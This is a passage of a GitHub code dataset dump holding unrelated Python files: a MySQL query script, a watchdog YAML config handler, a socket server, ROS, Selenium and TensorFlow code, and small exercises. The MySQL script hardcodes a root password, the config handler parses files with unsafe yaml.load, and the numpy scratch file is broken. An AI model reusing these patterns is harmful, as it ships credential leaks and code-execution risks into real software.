**kwargs)\n","repo_name":"JorgeANino/ZeBrands-Public","sub_path":"app/catalog_system/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70290306666","text":"import base64\n\n\ndef get_data_uri_image(file, filetype='png'):\n with open(file, 'rb') as image:\n return transform_image_to_data_uri(image.read(), filetype)\n\n\ndef transform_image_to_data_uri(image, filetype='png', gift_escape=True):\n data_uri = 'data:image/' + filetype + ';base64,' + base64.b64encode(image).decode(\"utf-8\")\n\n # : and = must be escaped inside the question content for gift and moodle import\n if gift_escape:\n data_uri = data_uri.replace(\":\", \"\\\\:\")\n data_uri = data_uri.replace(\"=\", \"\\\\=\")\n\n return data_uri\n","repo_name":"stefanhuber/giftsnippet","sub_path":"giftsnippet/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34137930082","text":"import mysql.connector\nfrom mysql.connector import MySQLConnection, Error\n\ndef connect():\n try:\n conn = mysql.connector.connect(host='localhost',\n database='python-mysql',\n user='root',\n password='karl2528')\n cursor = conn.cursor()\n cursor.execute(\"SELECT * FROM kiocery\")\n rows = cursor.fetchall()\n\n print('Total Row(s):', cursor.rowcount)\n for row in rows:\n print(row)\n except Error as e:\n print(e)\n\n finally:\n cursor.close()\n conn.close()\n\n\nif __name__ == '__main__':\n connect()\n","repo_name":"zeiji25/kiocery","sub_path":"reasd.py","file_name":"reasd.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32111676823","text":"import logging\nimport os\n\nimport yaml\n\nfrom watchdog import events\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass ConfigFileChangeHandler(events.PatternMatchingEventHandler):\n \"\"\"\n Config file change event handler.\n\n A subclass of watchdog's PatternMatchingEventHandler. This class takes\n callbacks for on_(add|update|delete).\n\n When an event comes in the proper callback is fired with processed inputs.\n \"\"\"\n\n patterns = (\"*.yaml\", \"*.yml\")\n\n def __init__(\n self, target_class, on_add, on_update, on_delete,\n *args, **kwargs\n ):\n self.target_class = target_class\n self.on_add = on_add\n self.on_update = on_update\n self.on_delete = on_delete\n\n super(ConfigFileChangeHandler, self).__init__(*args, **kwargs)\n\n def file_name(self, event):\n \"\"\"\n Helper method for determining the basename of the affected file.\n \"\"\"\n name = os.path.basename(event.src_path)\n name = name.replace(\".yaml\", \"\")\n name = name.replace(\".yml\", \"\")\n\n return name\n\n def on_created(self, event):\n \"\"\"\n Newly created config file handler.\n\n Parses the file's yaml contents and creates a new instance of the\n target_class with the results. Fires the on_add callback with the\n new instance.\n \"\"\"\n if os.path.isdir(event.src_path):\n return\n\n logger.debug(\"File created: %s\", event.src_path)\n\n name = self.file_name(event)\n\n try:\n result = self.target_class.from_config(\n name, yaml.load(open(event.src_path))\n )\n except Exception as e:\n logger.exception(\n \"Error when loading new config file %s: %s\",\n event.src_path, str(e)\n )\n return\n\n if not result:\n return\n\n self.on_add(self.target_class, name, result)\n\n def on_modified(self, event):\n \"\"\"\n Modified config file handler.\n\n If a config file is modified, the yaml contents are parsed and the\n new results are validated by the target class. Once validated, the\n new config is passed to the on_update callback.\n \"\"\"\n if os.path.isdir(event.src_path):\n return\n\n logger.debug(\"file modified: %s\", event.src_path)\n\n name = self.file_name(event)\n\n try:\n config = yaml.load(open(event.src_path))\n self.target_class.from_config(name, config)\n except Exception:\n logger.exception(\n \"Error when loading updated config file %s\", event.src_path,\n )\n return\n\n self.on_update(self.target_class, name, config)\n\n def on_deleted(self, event):\n \"\"\"\n Deleted config file handler.\n\n Simply fires the on_delete callback with the name of the deleted item.\n \"\"\"\n logger.debug(\"file removed: %s\", event.src_path)\n name = self.file_name(event)\n\n self.on_delete(self.target_class, name)\n\n def on_moved(self, event):\n \"\"\"\n A move event is just proxied to an on_deleted call followed by\n an on_created call.\n \"\"\"\n self.on_deleted(events.FileDeletedEvent(event.src_path))\n self.on_created(events.FileCreatedEvent(event.dest_path))\n","repo_name":"wglass/lighthouse","sub_path":"lighthouse/configs/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"37"} +{"seq_id":"24742586009","text":"import sys\nimport socket\nimport _thread\nfrom _thread import start_new_thread\nhost = '10.205.2.223'\nport = 2219\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((host, port))\ns.listen(5)\ndef client_thread(c, addr):\n print(\"connected by \", addr)\n i = \"xx\"\n while i != \"exit\":\n i = c.recv(1024).decode()\n print(\"received\", addr, repr(i))\n print(\"client connection closed\")\n c.close()\nwhile True:\n print(\"opened connection for clients\")\n c, addr = s.accept()\n start_new_thread(client_thread, (c, addr, ))\nprint(\"connection closed with all clients\")\ns.close()\n","repo_name":"harimanasag/Network-Architechure","sub_path":"multithreadServer1WayS2C.py","file_name":"multithreadServer1WayS2C.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70337727146","text":"from __future__ import division, print_function\nfrom GeoData import rasters\nfrom GeoData.raster_reader import RasterReader\nfrom SAISCrawler.script import db_manager, utils\nimport geocoordinate_to_location\nimport utils as base_utils\n\nimport heapq\nimport numpy as np\nfrom sys import maxsize\nfrom math import sqrt, floor\nfrom time import time\nfrom datetime import datetime\nfrom skimage.measure import block_reduce\n\nNAISMITH_CONSTANT = 7.92\nPIXEL_RES = 5 # 5 meters each direction per pixel\nPIXEL_RES_DIAG = sqrt(PIXEL_RES ** 2 * 2)\nMAX_BEFORE_DOWNSAMPLING = 100000\nDOWNSAMPLING_TARGET = 50\nMINIMUM_SEARCH_LONG = 0.008\nMINIMUM_SEARCH_LAT = 0.007\n\nclass PathFinder:\n \"\"\" Class for pathfinding based on Naismith's distance,\n static risk and dynamic risk. Aspect map required\n for dynamic risk. \"\"\"\n\n def __init__(self, height_map_reader, aspect_map_reader, static_risk_reader, dynamic_risk_cursor):\n\n self._height_map_reader = height_map_reader\n self._aspect_map_reader = aspect_map_reader\n self._static_risk_reader = static_risk_reader\n self._dynamic_risk_cursor = dynamic_risk_cursor\n self.__priority_queue = []\n\n\n def find_path(self, longitude_initial, latitude_initial, longitude_final, latitude_final, risk_weighing, custom_date=None):\n \"\"\" Given initial and final coordinates and a risk-to-distance weighing, find a path. \"\"\"\n\n # Time the execution.\n start_time = time()\n\n # Sanity checks.\n if not all(isinstance(item, float) for item in [longitude_initial, latitude_initial, longitude_final, latitude_final]):\n return False, \"Input not float.\"\n\n valid_ratio = False\n if isinstance(risk_weighing, float):\n if risk_weighing >= 0 and risk_weighing <= 1:\n valid_ratio = True\n\n if not valid_ratio:\n return False, \"Invalid risk weighing.\"\n\n self.debug_print(\"Sanity check completed.\")\n\n # Process custom date and dynamic risk.\n location_name = geocoordinate_to_location.get_location_name(longitude_initial, latitude_initial)\n location_ids = self._dynamic_risk_cursor.select_location_by_name(location_name)\n if not location_ids:\n return False, \"Invalid location ID.\"\n location_id = int(location_ids[0][0])\n location_forecasts = self._dynamic_risk_cursor.lookup_newest_forecasts_by_location_id(location_id)\n\n if custom_date is not None:\n try:\n datetime.strptime(custom_date, '%Y-%m-%d')\n forecasts_of_date = self._dynamic_risk_cursor.lookup_forecasts_by_location_id_and_date(location_id, custom_date)\n if len(forecasts_of_date) > 0: # Just in case the custom date given is invalid, which happens.\n location_forecasts = forecasts_of_date\n except ValueError:\n return False, \"Invalid custom date.\"\n\n if location_forecasts is None:\n return False, \"No forecast found.\"\n location_forecast_list = list(location_forecasts)\n\n original_initial = (longitude_initial, latitude_initial)\n original_final = (longitude_final, latitude_final)\n\n # Enlarge search window if coordinate size below minimum.\n if (abs(longitude_final - longitude_initial) < MINIMUM_SEARCH_LONG) or (abs(latitude_final - latitude_initial) < MINIMUM_SEARCH_LAT):\n\n if abs(longitude_final - longitude_initial) < MINIMUM_SEARCH_LONG:\n if longitude_final < longitude_initial:\n longitude_initial, longitude_final = longitude_final, longitude_initial\n longitude_final = longitude_initial + MINIMUM_SEARCH_LONG\n self.debug_print(\"Grid enlarged in x direction.\")\n\n if abs(latitude_final - latitude_initial) < MINIMUM_SEARCH_LAT:\n if latitude_final > latitude_initial:\n latitude_initial, latitude_final = latitude_final, latitude_initial\n latitude_final = latitude_initial - MINIMUM_SEARCH_LAT\n self.debug_print(\"Grid enlarged in y direction.\")\n\n # Static properties.\n height_grid = self._height_map_reader.read_points(longitude_initial, latitude_initial, longitude_final, latitude_final)\n\n # Immediately check how large the data is.\n x_max = len(height_grid[0]) - 1\n y_max = len(height_grid) - 1\n\n # Prepare the pixel resolution, since this will change if downsampling happens.\n pixel_res_x = PIXEL_RES\n pixel_res_y = PIXEL_RES\n\n # Process size check and downsampling calculations.\n self.debug_print(\"State space size: \" + str(x_max) + \",\" + str(y_max) + \".\")\n if (x_max + y_max) / 2 > MAX_BEFORE_DOWNSAMPLING:\n self.debug_print(\"Execution size exceeded, exiting...\")\n return False, \"Input too large.\"\n\n if x_max > DOWNSAMPLING_TARGET:\n downsample_x_factor = x_max // DOWNSAMPLING_TARGET + 1\n pixel_res_x = pixel_res_x * downsample_x_factor\n else:\n downsample_x_factor = 1\n\n if y_max > DOWNSAMPLING_TARGET:\n downsample_y_factor = y_max // DOWNSAMPLING_TARGET + 1\n pixel_res_y = pixel_res_y * downsample_y_factor\n else:\n downsample_y_factor = 1\n\n pixel_res_d = sqrt(pixel_res_x ** 2 + pixel_res_y ** 2)\n\n # More static properties\n risk_grid = self._static_risk_reader.read_points(longitude_initial, latitude_initial, longitude_final, latitude_final)\n aspect_grid = self._aspect_map_reader.read_points(longitude_initial, latitude_initial, longitude_final, latitude_final)\n\n if (not isinstance(height_grid, np.ndarray)) or (not isinstance(risk_grid, np.ndarray)) or (not isinstance(aspect_grid, np.ndarray)):\n return False, \"Failure reading grid.\"\n\n # Downsamplings\n height_grid = block_reduce(height_grid, block_size=(downsample_y_factor, downsample_x_factor), func=np.max)\n risk_grid = block_reduce(risk_grid, block_size=(downsample_y_factor, downsample_x_factor), func=np.max)\n aspect_grid = block_reduce(aspect_grid, block_size=(downsample_y_factor, downsample_x_factor), func=np.mean)\n\n # Find maximum sizes again.\n x_max = len(height_grid[0]) - 1\n y_max = len(height_grid) - 1\n self.debug_print(\"Size after downsampling: \" + str(x_max) + \",\" + str(y_max) + \".\")\n\n # Find where the original coordinates are.\n initial_node = self._height_map_reader.locate_index((longitude_initial, latitude_initial), (longitude_final, latitude_final), original_initial)\n goal_node = self._height_map_reader.locate_index((longitude_initial, latitude_initial), (longitude_final, latitude_final), original_final)\n initial_node = (int(floor(initial_node[0] // downsample_x_factor)), int(floor(initial_node[1] // downsample_y_factor)))\n goal_node = (int(floor(goal_node[0] // downsample_x_factor)), int(floor(goal_node[1] // downsample_y_factor)))\n\n self.debug_print(\"Initial node: \" + str(initial_node) + \", final node: \" + str(goal_node))\n\n # Just a quick check in case we get a off-by-N in downsampling...\n initial_node = (min(initial_node[0], x_max), min(initial_node[1], y_max))\n goal_node = (min(goal_node[0], x_max), min(goal_node[1], y_max))\n\n # Match dynamic risk to the risk grid.\n for y in range(0, len(risk_grid)):\n for x in range(0, len(risk_grid[0])):\n risk_grid[y, x] = risk_grid[y, x] * base_utils.match_aspect_altitude_to_forecast(location_forecast_list, aspect_grid[y, x], height_grid[y, x])\n\n self.debug_print(\"Successfully loaded all data grids.\")\n\n # Build the grid and a list of vertices.\n naismith_max = -1\n naismith_min = maxsize\n risk_grid_max = np.amax(risk_grid)\n risk_grid_min = np.amin(risk_grid)\n height_grid_max = np.amax(height_grid)\n height_grid_min = np.amin(height_grid)\n path_grid = {}\n\n for y in range(0, y_max + 1):\n for x in range(0, x_max + 1):\n # The grid dictionary is indexed by (displacement indices from top left), and contains a height, a 0-1\n # scaled risk, and the coordinates-indices of its neighbours, arranged with list index as followed:\n # 2 3 4\n # 5 * 6\n # 7 8 9\n # a Naismith distance is attached to each neighbour.\n height = height_grid[y, x]\n scaled_risk = (risk_grid[y, x] - risk_grid_min) / (risk_grid_max - risk_grid_min)\n risk_grid[y, x] = scaled_risk\n path_grid[(x, y)] = [height, scaled_risk]\n\n for j in range(y - 1, y + 2):\n for i in range(x - 1, x + 2):\n\n if ((i, j) == (x, y)):\n continue\n elif (0 <= i <= x_max) and (0 <= j <= y_max):\n if (abs(i - x) + abs(j - y)) <= 1:\n if (j - y) == 0:\n naismith_distance = pixel_res_x + NAISMITH_CONSTANT * max(0, height_grid[j, i] - height_grid[y, x])\n else:\n naismith_distance = pixel_res_y + NAISMITH_CONSTANT * max(0, height_grid[j, i] - height_grid[y, x])\n else:\n naismith_distance = pixel_res_d + NAISMITH_CONSTANT * max(0, height_grid[j, i] - height_grid[y, x])\n\n if naismith_distance > naismith_max:\n naismith_max = naismith_distance\n if naismith_distance < naismith_min:\n naismith_min = naismith_distance\n path_grid[(x, y)].append((i, j, naismith_distance))\n else:\n path_grid[(x, y)].append(None)\n\n # To prevent A* from getting stuck, all risk values below 5 np.percentile\n # will be changed to the 5 np.percentile value.\n non_zeros = risk_grid[risk_grid > 0]\n risk_5_percentile = np.percentile(non_zeros, 5)\n np.clip(risk_grid, risk_5_percentile, risk_grid_max, out=risk_grid)\n\n self.debug_print(\"Successfully built search grid, starting A* Search...\")\n # path_grid is not yet scaled here, but risk_grid is.\n\n # A* Search\n self.add_to_queue(0, initial_node)\n source_index = {}\n cost_index = {}\n source_index[initial_node] = None\n cost_index[initial_node] = 0\n goal_height = height_grid[goal_node[1], goal_node[0]]\n\n while not self.is_queue_empty():\n current = self.pop_from_queue()\n current_node = current[1]\n\n if current_node == goal_node:\n break\n\n neighbours = [n for n in path_grid[current_node][2:] if (n is not None)]\n for neighbour in neighbours:\n neighbour_node = (neighbour[0], neighbour[1])\n # Scaling height distance values from path_grid now.\n scaled_naismith = (neighbour[2] - naismith_min) / (naismith_max - naismith_min)\n node_risk = risk_grid[neighbour[1], neighbour[0]] * risk_weighing\n edge_cost = scaled_naismith * (1 - risk_weighing) + node_risk\n new_cost = cost_index[current_node] + edge_cost\n if (neighbour_node not in cost_index) or (new_cost < cost_index[neighbour_node]):\n cost_index[neighbour_node] = new_cost\n prio = new_cost + self.heuristic(neighbour_node, goal_node, height_grid[neighbour[1], neighbour[0]], goal_height, naismith_max, naismith_min, pixel_res_x, pixel_res_y, pixel_res_d, node_risk)\n self.add_to_queue(prio, neighbour_node)\n source_index[neighbour_node] = current_node\n\n self.debug_print(\"Search completed, rebuilding path...\")\n\n # Reconstruct the path by back-tracing.\n path = []\n current_node = goal_node\n while source_index[current_node] is not None:\n path = [current_node] + path\n current_node = source_index[current_node]\n path = [current_node] + path\n\n self.debug_print(\"Coordinate path: \" + str(path) + \".\")\n\n # Convert indices back into coordinates with height attached.\n return_path = {}\n for p in range(len(path)):\n coords = self._height_map_reader.convert_displacement_to_coordinate(longitude_initial, latitude_initial, longitude_final, latitude_final, path[p][0] * downsample_x_factor, path[p][1] * downsample_y_factor)\n way_point = {}\n way_point['long'] = str(coords[0])\n way_point['lat'] = str(coords[1])\n way_point['height'] = str(height_grid[path[p][1], path[p][0]])\n return_path[p] = way_point\n\n self.clean_up_queue()\n self.debug_print(\"Finished in \" + str(time() - start_time) + \" seconds.\")\n\n return return_path, \"Success.\"\n\n\n def add_to_queue(self, priority, coordinates):\n \"\"\" Push a coordinate and its priority onto the priority queue. \"\"\"\n\n heapq.heappush(self.__priority_queue, (priority, coordinates))\n\n return True\n\n\n def pop_from_queue(self):\n \"\"\" Pop the highest priority item from the priority queue, return a tuple\n (priority, coordinates) if heap is not empty, False otherwise.\"\"\"\n\n if len(self.__priority_queue) <= 0:\n return False\n\n return heapq.heappop(self.__priority_queue)\n\n\n def is_queue_empty(self):\n \"\"\" Returns True if the priority queue is empty, False otherwise. \"\"\"\n\n if len(self.__priority_queue) <= 0:\n return True\n else:\n return False\n\n\n def clean_up_queue(self):\n \"\"\" Clear the priority queue to prepare for the next lookup. \"\"\"\n\n self.__priority_queue = []\n\n return True\n\n\n def heuristic(self, current, goal, node_height, goal_height, naismith_max, naismith_min, pixel_res_x, pixel_res_y, pixel_res_d, node_risk):\n \"\"\" A diagonal heuristics function for A* search. \"\"\"\n\n dx = abs(current[0] - goal[0])\n dy = abs(current[1] - goal[1])\n\n # Find the shorter edge.\n if dx < dy:\n longer_side_res = pixel_res_y\n shorter_side = dx\n else:\n longer_side_res = pixel_res_x\n shorter_side = dy\n\n # Heuristic = (straight section distance + diagonal section distance + Naismith distance) * immediate risk\n heuristic_distance = (\\\n longer_side_res * abs(dx - dy) + \\\n shorter_side * pixel_res_d + \\\n NAISMITH_CONSTANT * max(0, node_height - goal_height)\\\n ) * node_risk\n scaled_heuristic = (heuristic_distance - naismith_min) / (naismith_max - naismith_min)\n\n return scaled_heuristic\n\n\n @staticmethod\n def debug_print(message):\n if __name__ == '__main__':\n print(message)\n\n\nif __name__ == '__main__':\n dbFile = utils.get_project_full_path() + utils.read_config('dbFile')\n risk_cursor = db_manager.CrawlerDB(dbFile)\n finder = PathFinder(RasterReader(rasters.HEIGHT_RASTER), RasterReader(rasters.ASPECT_RASTER), RasterReader(rasters.RISK_RASTER), risk_cursor)\n print(finder.find_path(-5.05173828125, 56.8129075187, -4.959765625, 56.7008783123, 0.5, '2017-02-20'))\n print(finder.find_path(-5.009765624999997, 56.790878312330426, -5.008765624999997, 56.79190751870019, 0.5))\n print(finder.find_path(-5.03173828125, 56.8008783123, -5.030765625, 56.8008452452, 0.5))\n print(finder.find_path(-4.99795838, 56.79702667, -4.99198645, 56.8079062, 0.5))\n print(finder.find_path(-5.0142724850797435, 56.7887604182850, -5.002987990273577, 56.80017695374134, 0.5))\n print(finder.find_path(-5.01481615318695, 56.79864610013431, -5.013048501000368, 56.80018630991712, 1.0))\n","repo_name":"chongyangshi/AvalancheHazardVisualizer","sub_path":"Backend/GeoData/path_finder.py","file_name":"path_finder.py","file_ext":"py","file_size_in_byte":16039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1831299180","text":"#!/usr/bin/env python\nimport rospy\nimport sys\nimport cv2\nfrom cv_bridge import CvBridge\nfrom sensor_msgs.msg import Image\n\n\ndef start_node():\n rospy.init_node('image_pub')\n rospy.loginfo('image_pub node started')\n img = cv2.imread('/home/viki/catkin_ws/src/detect_pump/nodes/robot.jpg')\n cv2.imshow(\"IMAGEM ENVIADA\", img)\n cv2.waitKey(2000)\n bridge = CvBridge()\n imgMsg = bridge.cv2_to_imgmsg(img, \"bgr8\")\n pub = rospy.Publisher('image', Image, queue_size=10)\n while not rospy.is_shutdown():\n pub.publish(imgMsg)\n rospy.loginfo('Enviando imagem!')\n rospy.Rate(1.0).sleep() # 1 Hz\n\nif __name__ == '__main__':\n try:\n start_node()\n except rospy.ROSInterruptException:\n pass\n","repo_name":"IagoBiundini/007_visao_computacional","sub_path":"publica_imagem.py","file_name":"publica_imagem.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15445483169","text":"\nclass Trie:\n def __init__(self) -> None:\n self.children = {}\n self.is_end = False\n \ndef build_trie(words):\n root = Trie()\n for w in words:\n node = root\n for c in w:\n if c not in node.children:\n node.children[c] = Trie()\n node = node.children[c]\n node.is_end = True\n return root\n\ndef word_break(s, words):\n root = build_trie(words)\n n = len(s)\n dp = [None]*(n+1)\n dp[0] = [[]]\n for i in range(n):\n if dp[i] is None:\n continue\n node = root\n for j in range(i, n):\n if s[j] in node.children:\n node = node.children[s[j]]\n else:\n break\n if node.is_end:\n if dp[j+1] is None:\n dp[j+1] = []\n for l in range(len(dp[i])):\n dp[j+1].append(dp[i][l] + [s[i:j+1]])\n return dp[n]\n\n \nif __name__ == \"__main__\":\n words1 = ['quick', 'brown', 'the', 'fox']\n string1 = \"thequickbrownfox\"\n print(word_break(string1, words1)) # Output: [['the', 'quick', 'brown', 'fox']]\n\n # Example 2\n words2 = ['bed', 'bath', 'bedbath', 'and', 'beyond']\n string2 = \"bedbathandbeyond\"\n print(word_break(string2, words2)) # Output: [['bed', 'bath', 'and', 'beyond'], ['bedbath', 'and', 'beyond']]\n\n\n ","repo_name":"rajashekar007/dcp","sub_path":"1571/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30795169397","text":"from numpy import*\r\nfrom pylab import*\r\nimport numpy\r\nx = linspace(0,1)\r\nx = numpy.linspace(0,1)\r\nplot(x,sin(x))\r\nshow()\r\n\r\n#numpy array\r\na = array([1,2,3,4])\r\nb = array([2,3,4,5])\r\nprint(a[0],a[-1])\r\nprint(a+b,a-b,a/b)\r\nx = linspace(0.0,10.0,200)\r\nx*=2*pi/10\r\n#apply function on array\r\ny=sin(x)\r\ny=cos(x)\r\nx[0]=-1\r\nprint(x[0],x[-1])\r\nx = array([1.,2,3,4])\r\nprint(size(x))\r\nprint(x.dtype)\r\nprint(x.shape)\r\nprint(rank(x))\r\nprint(x.itemsize)\r\n\r\n#multidimensional array\r\na = array([[0,1,2,3],[10,11,12,13]])\r\na.shape\r\na[1,3]\r\na[1,3]=-1\r\na[1]\r\na[1]=0\r\n\r\nx = loadtxt('pendulum.txt')\r\nx.shape\r\n\r\nmean(L)\r\nstd(L)","repo_name":"deepagitmca/Basic-programming-using-python","sub_path":"numpy_array.py","file_name":"numpy_array.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3551610509","text":"# -*- coding:utf-8 -*-\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import *\nimport time\nimport datetime\nfrom rbemp_po.Common.logger import Log\nfrom rbemp_po.Common.rconf import screen_shot\nfrom selenium import webdriver\nimport os\nimport random\n\n\nlocator_map = {'css': 'By.CSS_SELECTOR',\n 'id': 'By.ID',\n 'name': 'By.NAME',\n 'xpath': 'By.XPATH',\n 'link_text': 'By.LINK_TEXT',\n 'partial_link_text': 'By.PARTIAL_LINK_TEXT',\n 'tag_name': 'By.TAG_NAME',\n 'class_name': 'By.CLASS_NAME',\n }\n\nclass PageObject(object):\n # 初始化\n def __init__(self,driver,page_url=None):\n self.log = Log()\n self.dr = driver\n self.dr.maximize_window()\n self.url = page_url\n if self.url != None:\n self.dr.get(self.url)\n def Find_element(self,way,elements,wait_times=30,):\n if way == \"name\":\n locator = (By.NAME,elements)\n if way == \"id\":\n locator = (By.ID, elements)\n if way == \"xpth\":\n locator = (By.XPATH, elements)\n if way == \"css\":\n locator = (By.CSS_SELECTOR, elements)\n t1 = time.time()\n try:\n WebDriverWait(self.dr,wait_times,1).until(EC.visibility_of_element_located(locator))\n # 元素等待结束时间\n # t2 = time.time()\n # self.log.info(\"元素等待结束。等待开始时间为:{0},等待结束时间为:{1},等到耗费时长为:{2}\".format(int(round(1000*t1)),int(round(1000*t2)),int(round(1000*(t2-t1)))))\n if way == \"name\":\n return self.dr.find_element_by_name(elements)\n elif way == \"id\":\n return self.dr.find_element_by_id(elements)\n elif way == \"xpth\":\n return self.dr.find_element_by_xpath(elements)\n elif way == \"css\":\n return self.dr.find_element_by_css_selector(elements)\n except TimeoutException as e:\n self.log.warning(\">>> 等待元素超时,无法获取到元素,截图当前页面\")\n screen_shot(self.dr, \"无法获取元素.png\")\n raise e\n\n # 元素存在性判断\n def Wait_Elepresence(self,way,elements,wait_times=30):\n # 元素等待开始时间\n # t1 =time.time()\n if way == \"name\":\n locator = (By.NAME,elements)\n if way == \"id\":\n locator = (By.ID, elements)\n if way == \"xpth\":\n locator = (By.XPATH, elements)\n if way == \"css\":\n locator = (By.CSS_SELECTOR, elements)\n try:\n ele = WebDriverWait(self.dr,wait_times,0.5).until(EC.presence_of_element_located(locator))\n return ele\n # 元素等待结束时间\n # t2 = time.time()\n # self.log.info(\"元素等待结束。等待开始时间为:{0},等待结束时间为:{1},等到耗费时长为:{2}\".format(t1,t2,t2-t1))\n except TimeoutException as e:\n self.log.warning(\">>> 等待元素超时,当前页面不存在此元素\")\n return None\n\n # 元素可见性判断\n def Wait_Elevisibel(self,way,elements,wait_times=30):\n # 元素等待开始时间\n # t1 =time.time()\n if way == \"name\":\n locator = (By.NAME,elements)\n if way == \"id\":\n locator = (By.ID, elements)\n if way == \"xpth\":\n locator = (By.XPATH, elements)\n if way == \"css\":\n locator = (By.CSS_SELECTOR, elements)\n try:\n ele = WebDriverWait(self.dr,wait_times,1).until(EC.visibility_of_element_located(locator))\n return ele\n # 元素等待结束时间\n # t2 = time.time()\n # self.log.info(\"元素等待结束。等待开始时间为:{0},等待结束时间为:{1},等到耗费时长为:{2}\".format(t1,t2,t2-t1))\n except TimeoutException as e:\n self.log.warning(\">>> 等待元素超时,当前页面不存在此元素\")\n return None\n\n\n\nclass Elements_located(object):\n # 初始化\n def __init__(self,driver):\n self.dr = driver\n\n # 元素定位查找\n def by_element(self,**kwargs):\n K, V = next(iter(kwargs.items()))\n by, locator = (locator_map[K], V)\n return self.dr.find_element(by,locator)\n # # 元素定位点击事件\n # def by_element_c(self):\n # return self.dr.find_element(self.locator).click()\n # # 元素定位输入事件\n # def by_element_s(self,content):\n # return self.dr.find_element(self.locator).send_keys(content)\n # # 元素定位文本事件\n # def by_elementt(self):\n # return self.dr.find_element(self.locator).text()\n\n\n\n\n\n\n\n #\n # # id定位查找\n # def by_id(self,locator):\n # return self.dr.find_element(By.ID,locator)\n # # id定位点击事件\n # def by_id_c(self,locator):\n # return self.dr.find_element(By.ID,locator).click()\n # # id定位输入事件\n # def by_id_s(self,locator,content):\n # return self.dr.find_element(By.ID,locator).send_keys(content)\n #\n # # name定位查找\n # def by_name(self,locator):\n # return self.dr.find_element(By.NAME,locator)\n # # name定位点击事件\n # def by_name_c(self,locator):\n # return self.dr.find_element(By.NAME,locator).click()\n # # name定位输入事件\n # def by_name_s(self,locator,content):\n # return self.dr.find_element(By.NAME,locator).send_leys(content)\n #\n # # css定位查找\n # def by_css(self,locator):\n # return self.dr.find_element(By.CSS_SELECTOR,locator)\n # # css定位点击事件\n # def by_css_c(self,locator):\n # return self.dr.find_element(By.CSS_SELECTOR,locator).click()\n # # css定位输入事件\n # def by_css_s(self,locator,content):\n # return self.dr.find_element(By.CSS_SELECTOR,locator).send_keys(content)\n #\n # # tag_name 定位查找\n # def by_tagname(self,locator):\n # return self.dr.find_element(By.TAG_NAME,locator)\n # # tag_name定位点击事件\n # def by_tagname_c(self,locator):\n # return self.dr.find_element(By.TAG_NAME,locator).click()","repo_name":"qiaohj123/myproject_auto","sub_path":"Common/PageObject.py","file_name":"PageObject.py","file_ext":"py","file_size_in_byte":6399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4226154910","text":"import tensorflow as tf\nfrom tensorflow_probability import distributions as tfd\nimport sonnet as snt\nimport glob\nimport numpy as np\nfrom datapipes.audiorecord_in import *\nimport math\n\n\ndef load_data(x):\n key, intervals, data_len = deserialize_example(x.numpy())\n sparse_indexes, sparse_weights = parse_sparse(intervals)\n sparse_ids = [x[1] for x in sparse_indexes]\n\n # can't return a SparseTensor from here...\n # we'll do the conversion to SparseTensor later\n return data_len, sparse_indexes, sparse_ids, sparse_weights\n\n\npy_load_data = lambda x: tf.py_function(\n load_data, [x], [tf.int64, tf.int64, tf.int64, tf.float32])\n\n\ndef generate_dataset(data_len, sparse_indexes, sparse_ids, sparse_weights):\n shape = (data_len, index_end - index_start)\n ids = tf.sparse.SparseTensor(sparse_indexes, sparse_ids, shape)\n weights = tf.sparse.SparseTensor(sparse_indexes, sparse_weights, shape)\n\n return tf.data.Dataset.zip((\n tf.data.Dataset.from_tensor_slices(ids),\n tf.data.Dataset.from_tensor_slices(weights),\n ))\n\n\ndef input_db(archive_fn, batch_size):\n filenames = glob.glob(archive_fn)\n\n return (tf.data.TFRecordDataset(filenames).map(\n py_load_data, num_parallel_calls=tf.data.experimental.AUTOTUNE).cache(\n ) # must be done before repeat\n .repeat(None) # must be done before shuffling\n .shuffle(batch_size * 2) # must be done before flattenning\n .flat_map(generate_dataset) # must be done before batching\n .batch(batch_size).prefetch(tf.data.experimental.AUTOTUNE))\n\n\nclass MultivarNormalDistModule(snt.Module):\n def __init__(self, output_size, name=None):\n super(MultivarNormalDistModule, self).__init__(name=name)\n self._means_net = snt.Linear(output_size)\n self._stdevs_net = snt.Linear(output_size)\n\n def __call__(self, features):\n means = self._means_net(features)\n stdevs = tf.math.abs(self._stdevs_net(features))\n return tfd.MultivariateNormalDiag(loc=means, scale_diag=stdevs)\n\n\nclass NormalDistModule(snt.Module):\n def __init__(self, output_size, name=None):\n super(NormalDistModule, self).__init__(name=name)\n self._means_net = snt.Linear(output_size)\n self._stdevs_net = snt.Linear(output_size)\n\n def __call__(self, features):\n means = self._means_net(features)\n stdevs = tf.math.abs(self._stdevs_net(features))\n return tfd.Normal(loc=means, scale=stdevs)\n\n\nclass BernoulliDistModule(snt.Module):\n def __init__(self, output_size, name=None):\n super(BernoulliDistModule, self).__init__(name=name)\n self._logits_net = snt.Linear(output_size)\n\n def __call__(self, features):\n logits = self._logits_net(features)\n return 